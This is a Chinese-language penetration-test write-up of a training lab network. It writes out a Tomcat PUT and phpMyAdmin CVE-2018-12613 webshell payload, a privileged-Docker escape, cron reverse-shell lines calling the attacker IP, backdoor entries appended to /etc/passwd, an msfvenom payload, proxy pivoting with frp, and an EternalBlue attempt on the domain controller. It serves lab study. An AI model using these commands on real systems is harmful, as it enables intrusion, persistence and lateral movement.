首页 内网

# 前言

实训的最后一个靶机，也是我们的考核靶机，这里边做边记录一下。

# 环境配置

image-20240313084658208

web 这台主机需要将网络适配器 1 修改为 NAT 模式，网络适配器 2 要和另外两台主机选用相同的虚拟网卡，这里配好了本来就已经可以直接进行信息收集了

image-20240313085038822

但是在信息收集的过程中发现这里只开放了 22 端口，经过一系列的无用工后我使用密码进入系统发现有 docker 容器没有启动

image-20240313085232409

这里先将这些 docker 环境启动

docker start $(docker ps -a -q)

image-20240313085404952

到这里环境才算是启动成功

# 外围打点

首先还是做信息收集，首先还是进行主机发现

nmap 192.168.246.1/24

image-20240313090433851

这里可以看到开放了 22,2001,2002,2003 端口，然后这里使用 nmap 对端口进行协议探测

nmap  192.168.246.166 -p22,2001,2002,2003 -sV

image-20240313093917252

这里可以看到 22 端口是一个 Openssh6.6，2001 是 Jetty9.2.11 版本，2002 是 Tomcat 版本是 8.5.19，2003 端口是 Httpd 服务版本是 2.4.25。这里的版本都不是很新，感觉可以利用的点应该会比较多，这里用 fscan 对目标几个端口

image-20240313102907983

这里可以看到 2001,2002,2003 都有与之对应的 poc

# 2001 端口

image-20240313101523768

没有找到这个版本的可利用漏洞，暂时没法直接利用该中间件来攻击，但是上面的 fscan 中可以看到 struts2_045 来远程命令执行，这里直接用工具尝试一下

image-20240313110500094

可以看到这里是存在这个漏洞的，直接反弹一个 shell 上来

image-20240313110731683

# 2002 端口

根据上面的 fscan 检测中通过了 iis-put-getshell 和 tomcat-cve-2017-12615-rce 两个 poc。那么很显然是可以通过 put 方法进行文件上传，因为 cve-2017-12615 和 IIS 的 PUT 漏洞都是可以通过 PUT 传参来实现任意文件上传，而 cve-2017-12615 实际上漏洞的本质是 Tomcat 配置了可写（readonly=false），所以可以通过 PUT 上传文件

image-20240313111849701

这里尝试写入 test 文件，可以看到返回 201，这里就已经成功写入了，然后我们写入一句话

image-20240313112112033

然后使用冰蝎连接

image-20240313112243356

可以看到成功连接

# 2003 端口

image-20240313112520821

这个端口上的服务访问进来是 PhpMyadmin 页面，而且无需密码直接就登录进来了，这里我们可以尝试来通过日志写马

image-20240313112804073

但是在查询时发现当前的数据库身份是 test，很显然我们想要利用会权限不够。所以还是使用 fscan 扫描到的 cve-2018-12613 来利用

select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[1]);?>')?>"

执行上面的 sql 语句后去文件包含 session 文件访问

/index.php?target=sql.php?/../../../../../../../../../tmp/sess_eac90c7e8d47c9954bab5b52399811ee

访问后去连接 cmd.php 即可

image-20240313114053983

这样拿到的是一个 www-data 权限，权限很低不考虑使用

# 内网渗透

# docker 逃逸

刚刚环境配置的时候也可以看到，我实际上是进去开启了三个容器，所以我上面拿到的 3 个 shell 实际上都是在 docker 内的，这里拿第一个 shell 来看一下

image-20240313114340517

一个最简单的判断方法，就是查看服务器跟目录是否存在 dockerenv 文件，但是这个文件也不是能百分百的确定。还可以查看一下虚拟进程目录

image-20240313114604499

这里可以看到有关系统初始化进程组的控制组信息是 docker，现在可以百分百确定我们处于 docker 容器中。我们需要逃逸出来才能看到内网真实的 ip，常用的 docker 逃逸的方法有：

  • 内核漏洞导致 Docker 逃逸（CVE-2016-5195---DirtyCow）
  • 程序漏洞导致 Docker 逃逸（CVE-2019-5736----runC）
  • 危险挂载导致 Docker 逃逸
  • 配置不当导致 Docker 逃逸

这里使用的属于是配置不当导致 Docker 逃逸 ———— 特权模式逃逸

# 原理

当使用特权模式启动 Docker 容器，会获得大量的设备文件访问权限。因为当管理员执行 docker run —privileged 时，Docker 容器将被允许访问主机上的所有设备，并可以执行 mount 命令进行挂载。

# 漏洞利用

这里可以看一下是否为特权模式

cat /proc/1/status | grep Cap

如果查询出来的值是 00000003ffffffff，那么可以说明当前容器是特权容器。

image-20240313151237705

这里首先查看磁盘文件

fdisk -l

image-20240313151302198

这里可以利用这里写定时文件和 sssh

mount /dev/sda1 /test

image-20240313145209255

可以看到这里就已经把宿主机的磁盘挂载到 docker 文件了，然后尝试写定时任务

echo '* * * * * bash -i >& /dev/tcp/192.168.246.136/6777 0>&1' >> /test/var/spool/cron/crontabs/root
echo '*/1 * * * *  bash -c "bash -i  >&/dev/tcp/192.168.246.136/6777 0>&1"' >> /test/var/spool/cron/crontabs/root

这里发现 shell 一直反弹不成功，然后去查看了一下系统日志文件

cat /test/var/log/syslog

image-20240313152238099

其中有这样一条警告信息

Mar 13 00:02:01 ubuntu cron[1264]: (root) INSECURE MODE (mode 0600 expected) (crontabs/root)

它提示作业的权限设置不安全，预期的权限应该是 0600。这里更改一下文件权限

image-20240313152929529

这里也不在等了，这里权限可以修改 passwd 文件，可以添加一个用户来登录

# 添加登录用户

openssl passwd -1 -salt clown123 clown123

image-20240313163204910

echo 'clown123:$1$clown123$U3kfRH2dH944HOfribtyq1:0:0::/root:/bin/bash' >> /test/etc/passwd

追加到 passwd 文件中，但是在登录时发现权限不够被拒绝了那么就尝试创建一个权限较低的

echo 'clown1:$1$clown1$lsXJGjgk2RX0BFboWYm2a.:1001:1001::/home/clown1:/bin/bash' >> /test/etc/passwd

image-20240313170045780

登录成功，因为我们可以通过前面的 shell 来修改文件，所以这里的提权也是很简单的。我们直接去修改 /etc/sudoers 文件

# 提权

直接通过冰蝎去修改 sudoers 文件

image-20240313164534304

加上这样一行

image-20240313170114950

这里查看 sudo 配置可以看到，任意命令都可以执行，这里直接提权到 root 即可

image-20240313170203331

# 内网横向

# 上线 MSF

首先利用 msfvenom 生成一个 shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.246.136 LPROT=4444 -f elf -o shell

image-20240313171241808

通过冰蝎将这个文件上传

image-20240313171354213

在 msf 中开启监听模块

image-20240313171457241

然后通过我们刚刚的 root 交互来赋予可执行权限并执行

image-20240313171554498

这里成功上线 MSF

# 代理收集内网信息

首先查看网卡配置信息

run get_local_subnets

image-20240313171842711

可以看到这里有 4 个 172 的 ip，这些都是 docker 的 ip。值得我们注意的是这个 192.168.183 网段，这个 ip 很显然是内网 ip，接下类我们开启路由转发

run autoroute -s 192.168.183.0/24

image-20240313172040938

可以看到，路由指向已经成功了，我们的 msf 可以将流量通过 session 转发到内网。但是我们别的攻击的使用还是有限制，这里配置一下 socks 代理

use auxiliary/server/socks_proxy
run

image-20240313172218837

socks 代理配置完成，然后我们可以使用 proxychains 工具来进行流量转发

sudo vim /etc/proxychains4.conf

image-20240313172321126

我们修改 proxychains4 配置晚间如上图所示，然后我们实验一下

image-20240313172436721

可以看到这里的代理已经成功了，使用 fscan 对内网做主机存活探测

image-20240313173424309

发现两个 ip

192.168.183.130
192.168.183.129

这里的 130 这台存活主机是 DC。万能的永恒之蓝，这里直接用 msf 利用

image-20240313173752867

这里直接使用第一个，有可能会失败，这里的利用一直没有成功，考虑了一下可能是流量转发的问题，谁然说前面配置的有 socks，但是这里反向连接的 payload 受有限环境影响应该是没法利用成功通的，所以这里考虑使用代理后正向连接

image-20240313213930530

将 frp 的客户端上传到我们拿到 shell 的主机，赋予可执行权限。

# 客户端配置
[common]
server_addr = "192.168.246.136"
 # 与 frps.ini 的 bind_port 一致
server_port = "7000"
 # 与 frps.ini 的 token 一致
token = "clown"
[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
现在 kali 上运行服务端
image-20240313214026987
[common]
# frp 监听的端口，默认是 7000，可以改成其他的
bind_port = 7000
# 授权码，请改成更复杂的
token = clown 
# frp 管理后台端口，请按自己需求更改
dashboard_port = 7500
# frp 管理后台用户名和密码，请改成自己的
dashboard_user = clown
dashboard_pwd = clown
enable_prometheus = true
# frp 日志配置
log_file = /var/log/frps.log
log_level = info
log_max_days = 3
然后再 ubuntu 上运行客户端
image-20240313214315339
这样就将内网环境暴露出来了，然后我们修改一下 proxychains 的配置文件
image-20240313214403699
# 永恒之蓝上线 MSF
use ms17-010
use 0
set RHOST 192.168.183.129
setg proxies socks5:192.168.246.136:8111
set payload windows/x64/meterpreter/bind_tcp #这里反向很难上线
image-20240314152522806
可能会失败很多次，这里多执行几次就可以了，linux 的 shell 一直段
image-20240314152303314
这里先挂起，然后去攻击域控
image-20240314160818564
相同的打法